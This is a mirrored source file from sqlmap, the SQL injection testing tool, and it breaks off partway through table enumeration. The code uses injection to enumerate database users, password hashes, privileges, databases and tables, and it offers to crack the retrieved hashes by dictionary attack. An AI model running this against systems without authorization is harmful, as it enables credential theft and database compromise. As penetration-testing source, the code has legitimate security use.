mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2024-11-22 17:46:37 +03:00
daebb0010b
Alignment of SQL statement payload packing/unpacking between all of the techniques. Minor bug fix to use the proper charset (2, numbers) when dealing with COUNT() in custom queries too. Minor code cleanup.
1997 lines
78 KiB
Python
1997 lines
78 KiB
Python
#!/usr/bin/env python
|
|
|
|
"""
|
|
$Id$
|
|
|
|
Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
|
|
See the file 'doc/COPYING' for copying permission
|
|
"""
|
|
|
|
import re
|
|
import time
|
|
|
|
from lib.core.agent import agent
|
|
from lib.core.common import arrayizeValue
|
|
from lib.core.common import dataToStdout
|
|
from lib.core.common import getRange
|
|
from lib.core.common import getCompiledRegex
|
|
from lib.core.common import getConsoleWidth
|
|
from lib.core.common import getFileItems
|
|
from lib.core.common import getIdentifiedDBMS
|
|
from lib.core.common import getUnicode
|
|
from lib.core.common import isNumPosStrValue
|
|
from lib.core.common import isTechniqueAvailable
|
|
from lib.core.common import parsePasswordHash
|
|
from lib.core.common import parseSqliteTableSchema
|
|
from lib.core.common import popValue
|
|
from lib.core.common import pushValue
|
|
from lib.core.common import randomStr
|
|
from lib.core.common import readInput
|
|
from lib.core.common import safeStringFormat
|
|
from lib.core.common import strToHex
|
|
from lib.core.convert import utf8decode
|
|
from lib.core.data import conf
|
|
from lib.core.data import kb
|
|
from lib.core.data import logger
|
|
from lib.core.data import paths
|
|
from lib.core.data import queries
|
|
from lib.core.enums import DBMS
|
|
from lib.core.enums import EXPECTED
|
|
from lib.core.enums import PAYLOAD
|
|
from lib.core.exception import sqlmapConnectionException
|
|
from lib.core.exception import sqlmapMissingMandatoryOptionException
|
|
from lib.core.exception import sqlmapNoneDataException
|
|
from lib.core.exception import sqlmapUnsupportedFeatureException
|
|
from lib.core.exception import sqlmapUserQuitException
|
|
from lib.core.session import setOs
|
|
from lib.core.settings import SQL_STATEMENTS
|
|
from lib.core.shell import autoCompletion
|
|
from lib.core.unescaper import unescaper
|
|
from lib.core.threads import getCurrentThreadData
|
|
from lib.parse.banner import bannerParser
|
|
from lib.request import inject
|
|
from lib.request.connect import Connect as Request
|
|
from lib.techniques.brute.use import columnExists
|
|
from lib.techniques.brute.use import tableExists
|
|
from lib.utils.hash import attackDumpedTable
|
|
from lib.utils.hash import attackCachedUsersPasswords
|
|
|
|
class Enumeration:
|
|
"""
|
|
This class defines generic enumeration functionalities for plugins.
|
|
"""
|
|
|
|
def __init__(self):
|
|
kb.data.has_information_schema = False
|
|
kb.data.banner = None
|
|
kb.data.currentUser = ""
|
|
kb.data.currentDb = ""
|
|
kb.data.cachedUsers = []
|
|
kb.data.cachedUsersPasswords = {}
|
|
kb.data.cachedUsersPrivileges = {}
|
|
kb.data.cachedUsersRoles = {}
|
|
kb.data.cachedDbs = []
|
|
kb.data.cachedTables = {}
|
|
kb.data.cachedColumns = {}
|
|
kb.data.dumpedTable = {}
|
|
kb.data.processChar = None
|
|
|
|
def getBanner(self):
|
|
if not conf.getBanner:
|
|
return
|
|
|
|
if kb.data.banner is None:
|
|
infoMsg = "fetching banner"
|
|
logger.info(infoMsg)
|
|
|
|
query = queries[getIdentifiedDBMS()].banner.query
|
|
kb.data.banner = inject.getValue(query)
|
|
bannerParser(kb.data.banner)
|
|
|
|
if conf.os and conf.os == "windows":
|
|
kb.bannerFp["type"] = set([ "Windows" ])
|
|
|
|
elif conf.os and conf.os == "linux":
|
|
kb.bannerFp["type"] = set([ "Linux" ])
|
|
|
|
elif conf.os:
|
|
kb.bannerFp["type"] = set([ "%s%s" % (conf.os[0].upper(), conf.os[1:]) ])
|
|
|
|
if conf.os:
|
|
setOs()
|
|
|
|
return kb.data.banner
|
|
|
|
def getCurrentUser(self):
|
|
infoMsg = "fetching current user"
|
|
logger.info(infoMsg)
|
|
|
|
query = queries[getIdentifiedDBMS()].current_user.query
|
|
|
|
if not kb.data.currentUser:
|
|
kb.data.currentUser = inject.getValue(query)
|
|
|
|
return kb.data.currentUser
|
|
|
|
def getCurrentDb(self):
|
|
infoMsg = "fetching current database"
|
|
logger.info(infoMsg)
|
|
|
|
query = queries[getIdentifiedDBMS()].current_db.query
|
|
|
|
if not kb.data.currentDb:
|
|
kb.data.currentDb = inject.getValue(query)
|
|
|
|
return kb.data.currentDb
|
|
|
|
def isDba(self):
|
|
infoMsg = "testing if current user is DBA"
|
|
logger.info(infoMsg)
|
|
|
|
if getIdentifiedDBMS() == DBMS.MYSQL:
|
|
self.getCurrentUser()
|
|
query = queries[getIdentifiedDBMS()].is_dba.query % kb.data.currentUser.split("@")[0]
|
|
else:
|
|
query = queries[getIdentifiedDBMS()].is_dba.query
|
|
|
|
query = agent.forgeCaseStatement(query)
|
|
|
|
kb.data.isDba = inject.getValue(query, unpack=False, charsetType=1)
|
|
|
|
return kb.data.isDba == "1"
|
|
|
|
def getUsers(self):
|
|
infoMsg = "fetching database users"
|
|
logger.info(infoMsg)
|
|
|
|
rootQuery = queries[getIdentifiedDBMS()].users
|
|
|
|
condition = ( getIdentifiedDBMS() == DBMS.MSSQL and kb.dbmsVersion[0] in ( "2005", "2008" ) )
|
|
condition |= ( getIdentifiedDBMS() == DBMS.MYSQL and not kb.data.has_information_schema )
|
|
|
|
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) or conf.direct:
|
|
if condition:
|
|
query = rootQuery.inband.query2
|
|
else:
|
|
query = rootQuery.inband.query
|
|
value = inject.getValue(query, blind=False)
|
|
|
|
if value:
|
|
kb.data.cachedUsers = arrayizeValue(value)
|
|
|
|
if not kb.data.cachedUsers and not conf.direct:
|
|
infoMsg = "fetching number of database users"
|
|
logger.info(infoMsg)
|
|
|
|
if condition:
|
|
query = rootQuery.blind.count2
|
|
else:
|
|
query = rootQuery.blind.count
|
|
count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=2)
|
|
|
|
if not isNumPosStrValue(count):
|
|
errMsg = "unable to retrieve the number of database users"
|
|
raise sqlmapNoneDataException, errMsg
|
|
|
|
if getIdentifiedDBMS() == DBMS.ORACLE:
|
|
plusOne = True
|
|
else:
|
|
plusOne = False
|
|
indexRange = getRange(count, plusOne=plusOne)
|
|
|
|
for index in indexRange:
|
|
if getIdentifiedDBMS() in (DBMS.SYBASE, DBMS.MAXDB):
|
|
query = rootQuery.blind.query % (kb.data.cachedUsers[-1] if kb.data.cachedUsers else " ")
|
|
elif condition:
|
|
query = rootQuery.blind.query2 % index
|
|
else:
|
|
query = rootQuery.blind.query % index
|
|
user = inject.getValue(query, inband=False, error=False)
|
|
|
|
if user:
|
|
kb.data.cachedUsers.append(user)
|
|
|
|
if not kb.data.cachedUsers:
|
|
errMsg = "unable to retrieve the database users"
|
|
raise sqlmapNoneDataException, errMsg
|
|
|
|
return kb.data.cachedUsers
|
|
|
|
def getPasswordHashes(self):
|
|
infoMsg = "fetching database users password hashes"
|
|
|
|
rootQuery = queries[getIdentifiedDBMS()].passwords
|
|
|
|
if conf.user == "CU":
|
|
infoMsg += " for current user"
|
|
conf.user = self.getCurrentUser()
|
|
|
|
logger.info(infoMsg)
|
|
|
|
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) or conf.direct:
|
|
if getIdentifiedDBMS() == DBMS.MSSQL and kb.dbmsVersion[0] in ( "2005", "2008" ):
|
|
query = rootQuery.inband.query2
|
|
else:
|
|
query = rootQuery.inband.query
|
|
|
|
condition = rootQuery.inband.condition
|
|
|
|
if conf.user:
|
|
if "," in conf.user:
|
|
users = conf.user.split(",")
|
|
query += " WHERE "
|
|
query += " OR ".join("%s = '%s'" % (condition, user) for user in users)
|
|
else:
|
|
if getIdentifiedDBMS() == DBMS.MYSQL:
|
|
parsedUser = re.search("[\047]*(.*?)[\047]*\@", conf.user)
|
|
|
|
if parsedUser:
|
|
conf.user = parsedUser.groups()[0]
|
|
|
|
query += " WHERE %s = '%s'" % (condition, conf.user)
|
|
|
|
value = inject.getValue(query, blind=False)
|
|
|
|
if value:
|
|
for user, password in value:
|
|
if not user or user == " ":
|
|
continue
|
|
|
|
password = parsePasswordHash(password)
|
|
|
|
if not kb.data.cachedUsersPasswords.has_key(user):
|
|
kb.data.cachedUsersPasswords[user] = [password]
|
|
else:
|
|
kb.data.cachedUsersPasswords[user].append(password)
|
|
|
|
if not kb.data.cachedUsersPasswords and not conf.direct:
|
|
if conf.user:
|
|
if "," in conf.user:
|
|
users = conf.user.split(",")
|
|
else:
|
|
users = [conf.user]
|
|
else:
|
|
if not len(kb.data.cachedUsers):
|
|
users = self.getUsers()
|
|
else:
|
|
users = kb.data.cachedUsers
|
|
|
|
retrievedUsers = set()
|
|
|
|
for user in users:
|
|
if getIdentifiedDBMS() == DBMS.MYSQL:
|
|
parsedUser = re.search("[\047]*(.*?)[\047]*\@", user)
|
|
|
|
if parsedUser:
|
|
user = parsedUser.groups()[0]
|
|
|
|
if user in retrievedUsers:
|
|
continue
|
|
|
|
infoMsg = "fetching number of password hashes "
|
|
infoMsg += "for user '%s'" % user
|
|
logger.info(infoMsg)
|
|
|
|
if getIdentifiedDBMS() == DBMS.MSSQL and kb.dbmsVersion[0] in ( "2005", "2008" ):
|
|
query = rootQuery.blind.count2 % user
|
|
else:
|
|
query = rootQuery.blind.count % user
|
|
count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=2)
|
|
|
|
if not isNumPosStrValue(count):
|
|
warnMsg = "unable to retrieve the number of password "
|
|
warnMsg += "hashes for user '%s'" % user
|
|
logger.warn(warnMsg)
|
|
continue
|
|
|
|
infoMsg = "fetching password hashes for user '%s'" % user
|
|
logger.info(infoMsg)
|
|
|
|
passwords = []
|
|
|
|
if getIdentifiedDBMS() == DBMS.ORACLE:
|
|
plusOne = True
|
|
else:
|
|
plusOne = False
|
|
indexRange = getRange(count, plusOne=plusOne)
|
|
|
|
for index in indexRange:
|
|
if getIdentifiedDBMS() == DBMS.SYBASE:
|
|
if index > 0:
|
|
warnMsg = "unable to retrieve other password "
|
|
warnMsg += "hashes for user '%s'" % user
|
|
logger.warn(warnMsg)
|
|
break
|
|
else:
|
|
query = rootQuery.blind.query % user
|
|
getCurrentThreadData().disableStdOut = True
|
|
elif getIdentifiedDBMS() == DBMS.MSSQL:
|
|
if kb.dbmsVersion[0] in ( "2005", "2008" ):
|
|
query = rootQuery.blind.query2 % (user, index, user)
|
|
else:
|
|
query = rootQuery.blind.query % (user, index, user)
|
|
else:
|
|
query = rootQuery.blind.query % (user, index)
|
|
password = inject.getValue(query, inband=False, error=False)
|
|
if getIdentifiedDBMS() == DBMS.SYBASE:
|
|
getCurrentThreadData().disableStdOut = False
|
|
password = "0x%s" % strToHex(password)
|
|
infoMsg = "retrieved: %s" % password
|
|
logger.info(infoMsg)
|
|
password = parsePasswordHash(password)
|
|
passwords.append(password)
|
|
|
|
if passwords:
|
|
kb.data.cachedUsersPasswords[user] = passwords
|
|
else:
|
|
warnMsg = "unable to retrieve the password "
|
|
warnMsg += "hashes for user '%s'" % user
|
|
logger.warn(warnMsg)
|
|
|
|
retrievedUsers.add(user)
|
|
|
|
if not kb.data.cachedUsersPasswords:
|
|
errMsg = "unable to retrieve the password "
|
|
errMsg += "hashes for the database users"
|
|
raise sqlmapNoneDataException, errMsg
|
|
|
|
message = "do you want to use dictionary attack on retrieved password hashes? [Y/n/q]"
|
|
test = readInput(message, default="Y")
|
|
|
|
if test[0] in ("n", "N"):
|
|
pass
|
|
elif test[0] in ("q", "Q"):
|
|
raise sqlmapUserQuitException
|
|
else:
|
|
attackCachedUsersPasswords()
|
|
|
|
return kb.data.cachedUsersPasswords
|
|
|
|
def __isAdminFromPrivileges(self, privileges):
|
|
# In PostgreSQL the usesuper privilege means that the
|
|
# user is DBA
|
|
dbaCondition = ( getIdentifiedDBMS() == DBMS.PGSQL and "super" in privileges )
|
|
|
|
# In Oracle the DBA privilege means that the
|
|
# user is DBA
|
|
dbaCondition |= ( getIdentifiedDBMS() == DBMS.ORACLE and "DBA" in privileges )
|
|
|
|
# In MySQL >= 5.0 the SUPER privilege means
|
|
# that the user is DBA
|
|
dbaCondition |= ( getIdentifiedDBMS() == DBMS.MYSQL and kb.data.has_information_schema and "SUPER" in privileges )
|
|
|
|
# In MySQL < 5.0 the super_priv privilege means
|
|
# that the user is DBA
|
|
dbaCondition |= ( getIdentifiedDBMS() == DBMS.MYSQL and not kb.data.has_information_schema and "super_priv" in privileges )
|
|
|
|
# In Firebird there is no specific privilege that means
|
|
# that the user is DBA
|
|
# TODO: confirm
|
|
dbaCondition |= ( getIdentifiedDBMS() == DBMS.FIREBIRD and "SELECT" in privileges and "INSERT" in privileges and "UPDATE" in privileges and "DELETE" in privileges and "REFERENCES" in privileges and "EXECUTE" in privileges )
|
|
|
|
return dbaCondition
|
|
|
|
def getPrivileges(self, query2=False):
|
|
infoMsg = "fetching database users privileges"
|
|
|
|
rootQuery = queries[getIdentifiedDBMS()].privileges
|
|
|
|
if conf.user == "CU":
|
|
infoMsg += " for current user"
|
|
conf.user = self.getCurrentUser()
|
|
|
|
logger.info(infoMsg)
|
|
|
|
# Set containing the list of DBMS administrators
|
|
areAdmins = set()
|
|
|
|
mysqlPrivs = (
|
|
( 1, "select_priv" ),
|
|
( 2, "insert_priv" ),
|
|
( 3, "update_priv" ),
|
|
( 4, "delete_priv" ),
|
|
( 5, "create_priv" ),
|
|
( 6, "drop_priv" ),
|
|
( 7, "reload_priv" ),
|
|
( 8, "shutdown_priv" ),
|
|
( 9, "process_priv" ),
|
|
( 10, "file_priv" ),
|
|
( 11, "grant_priv" ),
|
|
( 12, "references_priv" ),
|
|
( 13, "index_priv" ),
|
|
( 14, "alter_priv" ),
|
|
( 15, "show_db_priv" ),
|
|
( 16, "super_priv" ),
|
|
( 17, "create_tmp_table_priv" ),
|
|
( 18, "lock_tables_priv" ),
|
|
( 19, "execute_priv" ),
|
|
( 20, "repl_slave_priv" ),
|
|
( 21, "repl_client_priv" ),
|
|
( 22, "create_view_priv" ),
|
|
( 23, "show_view_priv" ),
|
|
( 24, "create_routine_priv" ),
|
|
( 25, "alter_routine_priv" ),
|
|
( 26, "create_user_priv" ),
|
|
)
|
|
|
|
pgsqlPrivs = (
|
|
( 1, "createdb" ),
|
|
( 2, "super" ),
|
|
( 3, "catupd" ),
|
|
)
|
|
|
|
firebirdPrivs = {
|
|
"S": "SELECT",
|
|
"I": "INSERT",
|
|
"U": "UPDATE",
|
|
"D": "DELETE",
|
|
"R": "REFERENCES",
|
|
"E": "EXECUTE"
|
|
}
|
|
|
|
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) or conf.direct:
|
|
if getIdentifiedDBMS() == DBMS.MYSQL and not kb.data.has_information_schema:
|
|
query = rootQuery.inband.query2
|
|
condition = rootQuery.inband.condition2
|
|
elif getIdentifiedDBMS() == DBMS.ORACLE and query2:
|
|
query = rootQuery.inband.query2
|
|
condition = rootQuery.inband.condition2
|
|
else:
|
|
query = rootQuery.inband.query
|
|
condition = rootQuery.inband.condition
|
|
|
|
if conf.user:
|
|
users = conf.user.split(",")
|
|
query += " WHERE "
|
|
# NOTE: I assume that the user provided is not in
|
|
# MySQL >= 5.0 syntax 'user'@'host'
|
|
if getIdentifiedDBMS() == DBMS.MYSQL and kb.data.has_information_schema:
|
|
queryUser = "%" + conf.user + "%"
|
|
query += " OR ".join("%s LIKE '%s'" % (condition, "%" + user + "%") for user in users)
|
|
else:
|
|
query += " OR ".join("%s = '%s'" % (condition, user) for user in users)
|
|
|
|
values = inject.getValue(query, blind=False)
|
|
|
|
if not values and getIdentifiedDBMS() == DBMS.ORACLE and not query2:
|
|
infoMsg = "trying with table USER_SYS_PRIVS"
|
|
logger.info(infoMsg)
|
|
|
|
return self.getPrivileges(query2=True)
|
|
|
|
if values:
|
|
for value in values:
|
|
user = None
|
|
privileges = set()
|
|
|
|
for count in xrange(0, len(value)):
|
|
# The first column is always the username
|
|
if count == 0:
|
|
user = value[count]
|
|
|
|
# The other columns are the privileges
|
|
else:
|
|
privilege = value[count]
|
|
|
|
# In PostgreSQL we get 1 if the privilege is
|
|
# True, 0 otherwise
|
|
if getIdentifiedDBMS() == DBMS.PGSQL and getUnicode(privilege).isdigit():
|
|
for position, pgsqlPriv in pgsqlPrivs:
|
|
if count == position and int(privilege) == 1:
|
|
privileges.add(pgsqlPriv)
|
|
|
|
# In MySQL >= 5.0 and Oracle we get the list
|
|
# of privileges as string
|
|
elif getIdentifiedDBMS() == DBMS.ORACLE or ( getIdentifiedDBMS() == DBMS.MYSQL and kb.data.has_information_schema ):
|
|
privileges.add(privilege)
|
|
|
|
# In MySQL < 5.0 we get Y if the privilege is
|
|
# True, N otherwise
|
|
elif getIdentifiedDBMS() == DBMS.MYSQL and not kb.data.has_information_schema:
|
|
for position, mysqlPriv in mysqlPrivs:
|
|
if count == position and privilege.upper() == "Y":
|
|
privileges.add(mysqlPriv)
|
|
|
|
if self.__isAdminFromPrivileges(privileges):
|
|
areAdmins.add(user)
|
|
|
|
if kb.data.cachedUsersPrivileges.has_key(user):
|
|
kb.data.cachedUsersPrivileges[user].extend(privileges)
|
|
else:
|
|
kb.data.cachedUsersPrivileges[user] = list(privileges)
|
|
|
|
if not kb.data.cachedUsersPrivileges and not conf.direct:
|
|
conditionChar = "="
|
|
|
|
if conf.user:
|
|
if getIdentifiedDBMS() == DBMS.MYSQL and kb.data.has_information_schema:
|
|
conditionChar = " LIKE "
|
|
|
|
if "," in conf.user:
|
|
users = set()
|
|
for user in conf.user.split(","):
|
|
users.add("%" + user + "%")
|
|
else:
|
|
parsedUser = re.search("[\047]*(.*?)[\047]*\@", conf.user)
|
|
|
|
if parsedUser:
|
|
conf.user = parsedUser.groups()[0]
|
|
|
|
users = [ "%" + conf.user + "%" ]
|
|
else:
|
|
users = conf.user.split(",")
|
|
else:
|
|
if not len(kb.data.cachedUsers):
|
|
users = self.getUsers()
|
|
else:
|
|
users = kb.data.cachedUsers
|
|
|
|
retrievedUsers = set()
|
|
|
|
for user in users:
|
|
unescapedUser = None
|
|
|
|
if getIdentifiedDBMS() == DBMS.MYSQL and kb.data.has_information_schema:
|
|
unescapedUser = unescaper.unescape(user, quote=False)
|
|
|
|
if user in retrievedUsers:
|
|
continue
|
|
|
|
infoMsg = "fetching number of privileges "
|
|
infoMsg += "for user '%s'" % user
|
|
logger.info(infoMsg)
|
|
|
|
if unescapedUser:
|
|
queryUser = unescapedUser
|
|
else:
|
|
queryUser = user
|
|
|
|
if getIdentifiedDBMS() == DBMS.MYSQL and not kb.data.has_information_schema:
|
|
query = rootQuery.blind.count2 % queryUser
|
|
elif getIdentifiedDBMS() == DBMS.MYSQL and kb.data.has_information_schema:
|
|
query = rootQuery.blind.count % (conditionChar, queryUser)
|
|
elif getIdentifiedDBMS() == DBMS.ORACLE and query2:
|
|
query = rootQuery.blind.count2 % queryUser
|
|
else:
|
|
query = rootQuery.blind.count % queryUser
|
|
count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=2)
|
|
|
|
if not isNumPosStrValue(count):
|
|
if not (isinstance(count, basestring) and count.isdigit()) and getIdentifiedDBMS() == DBMS.ORACLE and not query2:
|
|
infoMsg = "trying with table USER_SYS_PRIVS"
|
|
logger.info(infoMsg)
|
|
|
|
return self.getPrivileges(query2=True)
|
|
|
|
warnMsg = "unable to retrieve the number of "
|
|
warnMsg += "privileges for user '%s'" % user
|
|
logger.warn(warnMsg)
|
|
continue
|
|
|
|
infoMsg = "fetching privileges for user '%s'" % user
|
|
logger.info(infoMsg)
|
|
|
|
privileges = set()
|
|
|
|
if getIdentifiedDBMS() == DBMS.ORACLE:
|
|
plusOne = True
|
|
else:
|
|
plusOne = False
|
|
indexRange = getRange(count, plusOne=plusOne)
|
|
|
|
for index in indexRange:
|
|
if getIdentifiedDBMS() == DBMS.MYSQL and not kb.data.has_information_schema:
|
|
query = rootQuery.blind.query2 % (queryUser, index)
|
|
elif getIdentifiedDBMS() == DBMS.MYSQL and kb.data.has_information_schema:
|
|
query = rootQuery.blind.query % (conditionChar, queryUser, index)
|
|
elif getIdentifiedDBMS() == DBMS.ORACLE and query2:
|
|
query = rootQuery.blind.query2 % (queryUser, index)
|
|
elif getIdentifiedDBMS() == DBMS.FIREBIRD:
|
|
query = rootQuery.blind.query % (index, queryUser)
|
|
else:
|
|
query = rootQuery.blind.query % (queryUser, index)
|
|
privilege = inject.getValue(query, inband=False, error=False)
|
|
|
|
# In PostgreSQL we get 1 if the privilege is True,
|
|
# 0 otherwise
|
|
if getIdentifiedDBMS() == DBMS.PGSQL and ", " in privilege:
|
|
privilege = privilege.replace(", ", ",")
|
|
privs = privilege.split(",")
|
|
i = 1
|
|
|
|
for priv in privs:
|
|
if priv.isdigit() and int(priv) == 1:
|
|
for position, pgsqlPriv in pgsqlPrivs:
|
|
if position == i:
|
|
privileges.add(pgsqlPriv)
|
|
|
|
i += 1
|
|
|
|
# In MySQL >= 5.0 and Oracle we get the list
|
|
# of privileges as string
|
|
elif getIdentifiedDBMS() == DBMS.ORACLE or ( getIdentifiedDBMS() == DBMS.MYSQL and kb.data.has_information_schema ):
|
|
privileges.add(privilege)
|
|
|
|
# In MySQL < 5.0 we get Y if the privilege is
|
|
# True, N otherwise
|
|
elif getIdentifiedDBMS() == DBMS.MYSQL and not kb.data.has_information_schema:
|
|
privilege = privilege.replace(", ", ",")
|
|
privs = privilege.split(",")
|
|
i = 1
|
|
|
|
for priv in privs:
|
|
if priv.upper() == "Y":
|
|
for position, mysqlPriv in mysqlPrivs:
|
|
if position == i:
|
|
privileges.add(mysqlPriv)
|
|
|
|
i += 1
|
|
|
|
# In Firebird we get one letter for each privilege
|
|
elif getIdentifiedDBMS() == DBMS.FIREBIRD:
|
|
privileges.add(firebirdPrivs[privilege.strip()])
|
|
|
|
if self.__isAdminFromPrivileges(privileges):
|
|
areAdmins.add(user)
|
|
|
|
# In MySQL < 5.0 we break the cycle after the first
|
|
# time we get the user's privileges otherwise we
|
|
# duplicate the same query
|
|
if getIdentifiedDBMS() == DBMS.MYSQL and not kb.data.has_information_schema:
|
|
break
|
|
|
|
if privileges:
|
|
kb.data.cachedUsersPrivileges[user] = list(privileges)
|
|
else:
|
|
warnMsg = "unable to retrieve the privileges "
|
|
warnMsg += "for user '%s'" % user
|
|
logger.warn(warnMsg)
|
|
|
|
retrievedUsers.add(user)
|
|
|
|
if not kb.data.cachedUsersPrivileges:
|
|
errMsg = "unable to retrieve the privileges "
|
|
errMsg += "for the database users"
|
|
raise sqlmapNoneDataException, errMsg
|
|
|
|
return ( kb.data.cachedUsersPrivileges, areAdmins )
|
|
|
|
def getRoles(self, query2=False):
|
|
warnMsg = "on %s the concept of roles does not " % getIdentifiedDBMS()
|
|
warnMsg += "exist. sqlmap will enumerate privileges instead"
|
|
logger.warn(warnMsg)
|
|
|
|
return self.getPrivileges(query2)
|
|
|
|
def getDbs(self):
|
|
if getIdentifiedDBMS() == DBMS.MYSQL and not kb.data.has_information_schema:
|
|
warnMsg = "information_schema not available, "
|
|
warnMsg += "back-end DBMS is MySQL < 5. database "
|
|
warnMsg += "names will be fetched from 'mysql' database"
|
|
logger.warn(warnMsg)
|
|
|
|
infoMsg = "fetching database names"
|
|
logger.info(infoMsg)
|
|
|
|
rootQuery = queries[getIdentifiedDBMS()].dbs
|
|
|
|
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) or conf.direct:
|
|
if getIdentifiedDBMS() == DBMS.MYSQL and not kb.data.has_information_schema:
|
|
query = rootQuery.inband.query2
|
|
else:
|
|
query = rootQuery.inband.query
|
|
value = inject.getValue(query, blind=False)
|
|
|
|
if value:
|
|
kb.data.cachedDbs = arrayizeValue(value)
|
|
|
|
if not kb.data.cachedDbs and not conf.direct:
|
|
infoMsg = "fetching number of databases"
|
|
logger.info(infoMsg)
|
|
|
|
if getIdentifiedDBMS() == DBMS.MYSQL and not kb.data.has_information_schema:
|
|
query = rootQuery.blind.count2
|
|
else:
|
|
query = rootQuery.blind.count
|
|
count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=2)
|
|
|
|
if not isNumPosStrValue(count):
|
|
errMsg = "unable to retrieve the number of databases"
|
|
raise sqlmapNoneDataException, errMsg
|
|
|
|
indexRange = getRange(count)
|
|
|
|
for index in indexRange:
|
|
if getIdentifiedDBMS() == DBMS.SYBASE:
|
|
query = rootQuery.blind.query % (kb.data.cachedDbs[-1] if kb.data.cachedDbs else " ")
|
|
elif getIdentifiedDBMS() == DBMS.MYSQL and not kb.data.has_information_schema:
|
|
query = rootQuery.blind.query2 % index
|
|
else:
|
|
query = rootQuery.blind.query % index
|
|
db = inject.getValue(query, inband=False, error=False)
|
|
|
|
if db:
|
|
kb.data.cachedDbs.append(db)
|
|
|
|
if not kb.data.cachedDbs:
|
|
errMsg = "unable to retrieve the database names"
|
|
raise sqlmapNoneDataException, errMsg
|
|
|
|
return kb.data.cachedDbs
|
|
|
|
def getTables(self):
|
|
bruteForce = False
|
|
|
|
self.forceDbmsEnum()
|
|
|
|
if getIdentifiedDBMS() == DBMS.MYSQL and not kb.data.has_information_schema:
|
|
errMsg = "information_schema not available, "
|
|
errMsg += "back-end DBMS is MySQL < 5.0"
|
|
logger.error(errMsg)
|
|
bruteForce = True
|
|
|
|
elif getIdentifiedDBMS() == DBMS.ACCESS:
|
|
errMsg = "cannot retrieve table names, "
|
|
errMsg += "back-end DBMS is Access"
|
|
logger.error(errMsg)
|
|
bruteForce = True
|
|
|
|
if bruteForce:
|
|
resumeAvailable = False
|
|
|
|
for db, table in kb.brute.tables:
|
|
if db == conf.db:
|
|
resumeAvailable = True
|
|
break
|
|
|
|
if resumeAvailable:
|
|
for db, table in kb.brute.tables:
|
|
if db == conf.db:
|
|
if not kb.data.cachedTables.has_key(conf.db):
|
|
kb.data.cachedTables[conf.db] = [table]
|
|
else:
|
|
kb.data.cachedTables[conf.db].append(table)
|
|
|
|
return kb.data.cachedTables
|
|
|
|
message = "do you want to use common table existance check? [Y/n/q]"
|
|
test = readInput(message, default="Y")
|
|
|
|
if test[0] in ("n", "N"):
|
|
return
|
|
elif test[0] in ("q", "Q"):
|
|
raise sqlmapUserQuitException
|
|
else:
|
|
return tableExists(paths.COMMON_TABLES)
|
|
|
|
infoMsg = "fetching tables"
|
|
if conf.db:
|
|
infoMsg += " for database '%s'" % conf.db
|
|
logger.info(infoMsg)
|
|
|
|
rootQuery = queries[getIdentifiedDBMS()].tables
|
|
|
|
if conf.db:
|
|
if "," in conf.db:
|
|
dbs = conf.db.split(",")
|
|
else:
|
|
dbs = [conf.db]
|
|
else:
|
|
if not len(kb.data.cachedDbs):
|
|
dbs = self.getDbs()
|
|
else:
|
|
dbs = kb.data.cachedDbs
|
|
|
|
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) or conf.direct:
|
|
query = rootQuery.inband.query
|
|
condition = rootQuery.inband.condition if 'condition' in rootQuery.inband else None
|
|
|
|
if condition:
|
|
if conf.db and getIdentifiedDBMS() != DBMS.SQLITE:
|
|
if "," in conf.db:
|
|
dbs = conf.db.split(",")
|
|
query += " WHERE "
|
|
query += " OR ".join("%s = '%s'" % (condition, db) for db in dbs)
|
|
else:
|
|
query += " WHERE %s='%s'" % (condition, conf.db)
|
|
elif conf.excludeSysDbs:
|
|
query += " WHERE "
|
|
query += " AND ".join("%s != '%s'" % (condition, db) for db in self.excludeDbsList)
|
|
infoMsg = "skipping system databases '%s'" % ", ".join(db for db in self.excludeDbsList)
|
|
logger.info(infoMsg)
|
|
|
|
if getIdentifiedDBMS() in (DBMS.MSSQL, DBMS.SYBASE):
|
|
query = safeStringFormat(query, conf.db)
|
|
value = inject.getValue(query, blind=False)
|
|
|
|
if value:
|
|
if getIdentifiedDBMS() == DBMS.SQLITE:
|
|
if isinstance(value, basestring):
|
|
value = [[ DBMS.SQLITE, value ]]
|
|
elif isinstance(value, (list, tuple, set)):
|
|
newValue = []
|
|
|
|
for v in value:
|
|
newValue.append([ DBMS.SQLITE, v])
|
|
|
|
value = newValue
|
|
|
|
for db, table in value:
|
|
if not kb.data.cachedTables.has_key(db):
|
|
kb.data.cachedTables[db] = [table]
|
|
else:
|
|
kb.data.cachedTables[db].append(table)
|
|
|
|
if not kb.data.cachedTables and not conf.direct:
|
|
for db in dbs:
|
|
if conf.excludeSysDbs and db in self.excludeDbsList:
|
|
infoMsg = "skipping system database '%s'" % db
|
|
logger.info(infoMsg)
|
|
|
|
continue
|
|
|
|
infoMsg = "fetching number of tables for "
|
|
infoMsg += "database '%s'" % db
|
|
logger.info(infoMsg)
|
|
|
|
if getIdentifiedDBMS() in (DBMS.SQLITE, DBMS.FIREBIRD, DBMS.MAXDB):
|
|
query = rootQuery.blind.count
|
|
else:
|
|
query = rootQuery.blind.count % db
|
|
count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=2)
|
|
|
|
if not isNumPosStrValue(count):
|
|
warnMsg = "unable to retrieve the number of "
|
|
warnMsg += "tables for database '%s'" % db
|
|
logger.warn(warnMsg)
|
|
continue
|
|
|
|
tables = []
|
|
|
|
if getIdentifiedDBMS() in ( DBMS.MSSQL, DBMS.ORACLE ):
|
|
plusOne = True
|
|
else:
|
|
plusOne = False
|
|
indexRange = getRange(count, plusOne=plusOne)
|
|
|
|
